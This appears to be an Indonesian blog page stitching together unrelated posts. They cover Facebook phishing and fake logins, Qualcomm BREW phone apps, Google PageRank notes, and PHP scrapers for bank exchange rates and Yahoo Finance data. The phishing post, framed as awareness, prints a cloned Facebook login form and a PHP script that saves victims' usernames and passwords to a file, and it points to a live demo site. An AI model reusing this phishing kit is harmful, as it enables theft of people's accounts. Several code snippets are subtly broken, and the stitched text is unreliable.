Serangan phising terbesar menurut facebook dilakukan oleh 2 website yaitu FBStarter.com dan BAction.net beberapa waktu lalu. Meraka biasa mengirim pesan berupa kata-kata “Check this out”. Kemudian mereka mengundang korban untuk meng-klik link yang akan membawa mereka keluar dari Facebook.

Pihak Facebook menyatakan bahwa serangan tersebut berhenti setiap beberapa jam pada tiap kasusnya. Facebook juga menyatakan bahwa belum ada kepastian apakah serangan dari kedua website tersebut saling terkait atau tidak.

Facebook telah menghapus URL tersebut dari member page dan membuang URL yang ada di pesan mail. Untuk user yang telah terjebak phising ini, pihak Facebook telah mereset password mereka. Facebook juga menganjurkan para usernya untuk tidak meng-click link yang mencurigakan serta menganjurkan para user yang telah menjadi korban untuk segera mengganti password.

Phising merupakan proses untuk mendapatkan informasi sensitif seperti username, password dan bahkan sampai detail kartu kredit dengan berpura-pura menjadi website asli.

Biasanya si pelaku memancing korbannya untuk masuk ke website yang dibuat mirip dengan website aslinya. Pada website palsu itu, si pelaku telah menaruh box username dan password dan meminta korban untuk login. Jadi di sini si pelaku melakukan penipuan login atau biasa di sebut fake login.

Bagaimana kita tahu kalau itu fake login ?

Untuk mengetahui itu web phising yang menggunakan fake login, kita harus teliti url untuk login di facebook itu sendiri. Untuk login, facebook menggunakan url https://login.facebook.com/login.php

Contoh Web phising dengan fake login

Coba anda akses http://facebook.ariefew.com dulu dan lakukan login dengan username dan password palsu !!

Tampilan utama menggunakan source code dari https://login.facebook.com/login.php yang disimpan menjadi index.html. Tapi di index.html ini kita tambahi di form dengan pemanggilan code php untuk penyimpanan username dan password yang diisikan.

<form method=”POST” action=”logs.php” name=”menubar_login”
id=”menubar_login”><input type=”hidden” name=”charset_test”
value=”&euro;,&acute;,€,´,?,?,?” /><input type=”hidden” id=”locale”
name=”locale” value=”en_US” /><table cellpadding=”0″ cellspacing=”0″><tr><td
class=”login_form_label_field login_form_label_remember”><label><input
type=”checkbox” name=”persistent” value=”1″ />Remember Me</label></td><td
class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php”
rel=”nofollow”>Forgot your password?</a></td><td class=”login_form_last_field
login_form_label_field”></td></tr><tr><td><input type=”text” class=”inputtext”
id=”email” name=”email” value=”" /></td><td><input type=”password”
class=”inputpassword” id=”pass” name=”pass” value=”" /><input type=”text”
class=”inputtext hidden_elem” id=”pass_placeholder” name=”pass_placeholder”
value=”" /></td><td class=”login_form_last_field”><div
class=”UILinkButton”><input type=”submit” class=”UILinkButton_A” value=”Login”
/><div class=”UILinkButton_RW”><div
class=”UILinkButton_R”></div></div></div></td></tr></table><input type=”hidden”
name=”charset_test” value=”&euro;,&acute;,€,´,?,?,?” /></form>

Lihat code yang di cetak tebal tersebut, code asli dari facebook adalah

<form id=”login_form”
action=”https://login.facebook.com/login.php?login_attempt=1″ method=”POST”>

Yang tercetak tebal, yaitu :

<form method=”POST” action=”logs.php” name=”menubar_login”
id=”menubar_login”>

adalah pengisian dari form tersebut kita akan diarahkan ke logs.php.
Sedangkan isis dari logs.php adalah pencatatan dari pengisian username dan password tersebut.

<?php
header(”Location:http://www.facebook.com/”);
$handle = fopen(”passwords.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

Pengisisan di web phising yang menggunakan fake login facebook ini akan tersimpan di passwords.txt secara terus menerus……..

Bahaya kan……

Semoga menjadi pencerahan bagi teman-teman yang beberapa hari lalu menanyakan hal ini padaku lewat YM.

Kelebihan dari BREW yaitu :

• Aplikasi BREW membutuhkan memori sangat kecil. HP Low End bisa ditanami berbagai macam feature aplikasi dan games yang bagus.
• Aplikasi BREW sangat cepat. Karena Brew Environment sudah ditanamkan ke dalam Chipset QUALCOMM.  Di sini layer aplikasi langsung berkomunikasi sama Chipset. Tidak seperti di Aplikasi Java (J2ME) yang masih membutuhkan perantara antar layer sehingga loadingnya agak lama.

Kelemahan dari BREW yaitu :

• BREW tidak bisa multiplatform seperti Java yang aplikasi JAR-nya bisa digunakan di HP yang berbeda type dan berbeda merk.
• QUALCOMM lebih kelihatan mementingkan bisnis. SDK kelihatan keluar setengah-tengah, padahal di Windows dibutuhkan GCC ARM compiler juga. Lalu bagaimana di Linux.?

Pada BREW, aplikasi atau games yang di download tidak disimpan pada memori ponsel, di sini aplikasi yang di install penggunanya akan tersimpan pada server milik operator. Dikarenakan dibutuhkan pendistribusi dan penyimpanan tersebut maka dibutuhkan BREW distribution system (BDS).

Di Indonesia, operator Mobile-8 lebih banyak memberikan layanan games lewat b-live yang bisa dinikmati pada beberapa ponsel bundling kartu Fren dan Hepi seperti ZTE C300, ZTE C330, Haier C2000 dan Motorola W362. Head Of Product Development PT Mobile-8 Telecom Tbk, Ronald Simanjuntak, mengatakan bahwa aplikasi yang paling banyak digunakan oleh pengguna ponsel di Indonesia adalah untuk ringtone dan games. Pihak Mobile-8 telah menghabiskan 300.000 dolar Amerika dari Capex Mobile-8 tahun 2007 sebanyak 125 juta dolar Amerika untuk membangun infrastruktur BREW ini.

File aplikasi Brew berekstensi .mod dan kadang disertai file berekstensi .bar untuk menyimpan resource (gambar, text, dll) dan juga disertafi file .sig untuk signature. Hal ini yang menyebabkan Brew tidak mungkin untuk dibajak. Jika kita meng-copy file-file aplikasi brew (*.mod, *.bar, dan *.sig) ke HP lain begitu saja. Maka otomatis, file tersebut akan dihapus oleh OS hp tersebut. Ini karena file .SIG tadi harus digenerate oleh pihak yang menjual aplikasi tadi. File .SIG tersebut adalah unik ke ESN dan IMEI HP kita. Jadi gak bisa dicopy begitu saja. Tapi untuk mendapatkan digital signature harus keluar uang sekitar USD 400 untuk paket verifikasi 100 aplikasi, USD 895 untuk 500 aplikasi, atau USD 1295 untuk 1000 aplikasi. Dan setiap paket yang dibeli akan berlaku selama satu tahun dan bisa dipakai dengan cara mencicil selama akun Anda masih berlaku.

Operator selular selain Mobile-8 apakah mempunyai BREW distribution system (BDS) ? Silahkan tanyakan saja pada customer service operator selular masing-masing…. Bagaimana dengan smart telecom yang mengeluarkan HP Haier C700 dan ZTE C261 ?

Berikut ini beberapa catatanku di gmail yang beberapa bulan lalu ku submit ke google alert tentang pagerank update dan google pagerank :

• Google tidak fokus lagi di pagerank
• Penghapusan distribusi page rank pada google webmaster
  • www.google.com/support/forum/p/Webmasters/thread?tid=6a1d6250e26e9e48&hl=en#all
  • www.searchnewz.com/blog/talk/sn-6-20091019GoogleRemovedPageRank.html
  • searchengineland.com/despite-pagerank-dropping-in-webmaster-tools-google-pushes-toolbar-pagerank-update-28854
  • www.crankberryblog.com
  • www.webtrafficroi.com
• Google pagerank tidak relevan lagi
  • www.impactmedialtd.co.uk/blog/search-engine-optimisation-seo/is-pagerank-still-relevant
  • www.adrianalexa.com
• Pernyataan lamanya update pagerank (>4 bulan)
  • forums.digitalpoint.com/showthread.php?t=1541311
  • blue-network.net/2009/10/google-page-rank
• High Pagerank no high ranking, A good pagerank or trustrank doesnt mean good ranking in search engines
  • submitfreearticles.com/google-pagerank-vs-google-trustrank
• Banyak website konsultan seo & webmaster yang turun pagerank
• Naiknya pagerank pada subdomain website blogspot.com
• Website kosong, tanpa visitor, tanpa submit kemanapun dapat pr 2 (one site, have done all most nothing there, no visitor even not submitted any where, still it has Page Rank  2)
  • www.netbuilders.org/domaining/surprised-google-page-ranking-2-a-11516.html
• Google discovering web sites lewat RSS and Atom feeds
• Rencana teknologi PubSubHubbub dan RSSCloud untuk real time web crawling
• Dan masih banyak lagi postingan senada dengan di atas yang tidak kusebutkan satu persatu….

Bagaimana pandangan anda tentang pagerank ini ?

Untuk mengatasi masalah tersebut, kita sebaiknya melakukan get data secara terjadwal. misal, kita bisa menggunakan cronjob di cpanel kita. Memang pada dasarnya update website yang bersangkuatan tidaklah terus menerus. penjadwalan cronjob dapat kita sesuai dengan update website tersebut juga.

Cara Get Data :

• File buat lagi file PHP seperti yang lalu. Dan tambahkan perintah:

  $File = “kursbi.html”;
  $Handle = fopen($File, ‘w’);
  // ‘w’ akan menghapus data yg telah ada
  fwrite($Handle, $show);
  fwrite($Handle, “</td>”);
  }
  chmod($File,0777);
  print “KURS BI SUKSES UPDATE” ;

• File yang kita buat tadi nantinya akan kita jadwal akses-nya.
• File yang lama ganti perintahnya dengan :

  <?
  $url = “kursbi.html” ;
  ini_set (’allow_url_fopen’, ‘1′ );
  ini_set (’auto_detect_line_endings’, ‘Off’) ;
  ini_set (’default_socket_timeout’, ‘60′ );
  ini_set (’max_execution_time’, ‘0′ );
  flush() ;
  $f = fopen ($url, ‘r’ );
  $doc = ”;
  while (! feof ($f) ) {
  $doc = $doc . fgets($f, 3072) ;
  // triple buffer, default buffer 1024 bytes dirubah menjadi 3072 bytes,
  }
  fclose ($f) ;
  if ($doc != ”) {
  print $doc ;
  }
  flush() ;
  ?>

• File di atas kta pasang di website kita. Dan dia memanggil dari local sendiri…

Jika kita menggunakan teknik grap yang seperti sebelumnya, kita akan banyak melakukan penghapusan dan akses data-nya kurang cepat. Untungnya di finance.yahoo.com kita diberikan fasilitas download file CSV untuk suatu data yang di inputkan di Get Quotes.

File CSV (Comma separated values) adalah suatu data text yang pemisahan datanya dipisahkan dengan tanda koma (,).  Di finance Yahoo, letak download file CSV yaitu setelah kita input kan Quotes yang kita cari. Pencarian Quotes yang banyak (multi Quotes) dapat kita lakukan dengan menambahkan tanda ^ di depannya. Misal ^JKSE untuk Indonesia (Jakarta).

Dari pada putar-putar akses saja alamat http://finance.yahoo.com/q/cp?s=^JKSE. Lihat hasilnya. Geser ke bawah dan anda akan menemukan Download to Spreadsheet. Silahkan di download dan buka filenya…..

Langkah Grap Data Bursa Efek Indonesia lewat Yahoo Finance :

• Kita menggunakan file CSV diatas untuk pengambilan datanya. Disini yang kuambil contoh adalah ^JKSE, tapi anda bisa memperluasnya kemudian….
• Buat file PHP dengan code:
  <?php
//this is the url of our csv file
$url = "http://download.finance.yahoo.com/d/quotes.csv?s=@%5EJKSE&f=sl1d1t1c1ohgv&e=.csv&h=0";
//open it for reading
$fp = fopen($url , "r");
//if no connection exists display error message
if (!fp) {
echo "could not connect to the site";
}else {
while (($data = fgetcsv($fp,1500,",")) !== FALSE) {
echo $data[0];
echo $data[1];
echo $data[2];
echo $data[3];
echo $data[4];
echo $data[5];
echo $data[6];
echo $data[7];
echo $data[8];
}
}
echo "<br />";fclose($fp);
  }

  ?>

• $url merupakan alamat pengambilan data CSV.
• Hasil dari CSV kita masukkan di $data yang mana kode saham= 0, harga pembukaan= 5, harga tertinggi= 6, harga terendah=  7, harga penutupan= 4, perbadaan harga = 1, volume =8, tanggal penutupan= 2, jam penutupan= 3

Contoh hasil:

DOWNLOAD GRAP DATA BURSA EFEK iNDONESIA LEWAT YAHOO FINANCE DISINI

Kita pakai saja alamat yang paling sederhana dari website Bank Indonesia tersebut yaitu www.bi.go.id/web/id/Moneter/Kurs+Bank+Indonesia/Kurs+Uang+Kertas+Asing/. Walaupun alamat ini yang paling sederhana, tapi code HTML yang ada di dalamnya lebih sulit dari Dasar Grab Kurs BCA dan Dasar Grab Kurs Bank Mandiri. Hal ini dikarenakan disini banyak menggunakan java script

Langkah Grap Kurs Bank Indonesia :

• Kita cari di website Bank Indonesia yang menampilkan kurs dengan tampilan yang paling sederhana, misal www.bi.go.id/web/id/Moneter/Kurs+Bank+Indonesia/Kurs+Uang+Kertas+Asing/, buka dulu alamat tersebut dan view page source untuk melihat code HTML nya
• Buat file PHP dengan code:
  <?
  $url = “http://www.bi.go.id/web/id/Moneter/Kurs+Bank+Indonesia/Kurs+Uang+Kertas+Asing/” ;
  $html_start = ‘keterangan1′;
  $html_end = ‘keterangan2′;
  ini_set (‘allow_url_fopen’, ‘1′ );
  ini_set (‘auto_detect_line_endings’, ‘Off’) ;
  ini_set (‘default_socket_timeout’, ‘60′ );
  ini_set (‘max_execution_time’, ‘0′ );
  flush() ;
  $f = fopen ($url, ‘r’ );
  $doc = ”;
  while (! feof ($f) ) {
  $doc = $doc . fgets($f, 3072) ;
  // triple buffer, default buffer 1024 bytes
  }
  fclose ($f) ;if (
  $doc != ”) {
  $a = strpos($doc, $html_start) ;
  $b = strpos($doc, $html_end) – $a ;
  $show = substr($doc, $a, $b) ;
  $show = ereg_replace(keterangan3,keterangan4>, $show) ;
  print “$show” ;
  }
  flush() ;
  ?>

• Untuk menyederhanakan tampilan, cari awalan code HTML dan akhiran code HTML lewat view page source
• Ganti keterangan1 dengan code awal (start) code HTML
• Ganti keterangan2 dengan code akhir (end) code HTML
• Save, dan lihat hasilnya dulu……..
• Rubah-rubah keterangan1 dan keterangan2 sampai mendapatkan tampilan yang paling sederhana
• Hapus/ Replace code yang ada di antara keterangan1 dan keterangan2 dengan perintah $show = ereg_replace(keterangan3,keterangan4>, $show) ;
• Keterangan1 adalah code HTM yang akan kita replace
• Keterangan2 adalah pengganti dari keterangan1, keterangan2 bisa berupa kode kosong (”")
• Ulangi terus perintah tersebut sampai mendapat tampilan yang benar-benar diinginkan

DOWNLOAD GRAP KURS BANK INDONESIA DISINI

Kita pakai saja alamat yang paling sederhana dari website Bank Mandiri tersebut yaitu www.bankmandiri.co.id/resource/kurs.asp.

Langkah Grap Kurs Bank Mandiri :

• Kita cari di website Bank Mandiri yang menampilkan kurs dengan tampilan yang paling sederhana, misal www.bankmandiri.co.id/resource/kurs.asp, buka dulu alamat tersebut dan view page source untuk melihat code HTML nya
• Buat file PHP dengan code:
  <?
  $url = “http://www.bankmandiri.co.id/resource/kurs.asp” ;
  $html_start = ‘keterangan1′;
  $html_end = ‘keterangan2′;
  ini_set (‘allow_url_fopen’, ‘1′ );
  ini_set (‘auto_detect_line_endings’, ‘Off’) ;
  ini_set (‘default_socket_timeout’, ‘60′ );
  ini_set (‘max_execution_time’, ‘0′ );
  flush() ;
  $f = fopen ($url, ‘r’ );
  $doc = ”;
  while (! feof ($f) ) {
  $doc = $doc . fgets($f, 3072) ;
  // triple buffer, default buffer 1024 bytes
  }
  fclose ($f) ;if (
  $doc != ”) {
  $a = strpos($doc, $html_start) ;
  $b = strpos($doc, $html_end) – $a ;
  $show = substr($doc, $a, $b) ;
  $show = ereg_replace(keterangan3,keterangan4>, $show) ;
  print “$show” ;
  }
  flush() ;
  ?>

• Untuk menyederhanakan tampilan, cari awalan code HTML dan akhiran code HTML lewat view page source
• Ganti keterangan1 dengan code awal (start) code HTML
• Ganti keterangan2 dengan code akhir (end) code HTML
• Save, dan lihat hasilnya dulu……..
• Rubah-rubah keterangan1 dan keterangan2 sampai mendapatkan tampilan yang paling sederhana
• Hapus/ Replace code yang ada di antara keterangan1 dan keterangan2 dengan perintah $show = ereg_replace(keterangan3,keterangan4>, $show) ;
• Keterangan1 adalah code HTM yang akan kita replace
• Keterangan2 adalah pengganti dari keterangan1, keterangan2 bisa berupa kode kosong (”")
• Ulangi terus perintah tersebut sampai mendapat tampilan yang benar-benar diinginkan

DOWNLOAD GRAP KURS BANK MANDIRI DISINI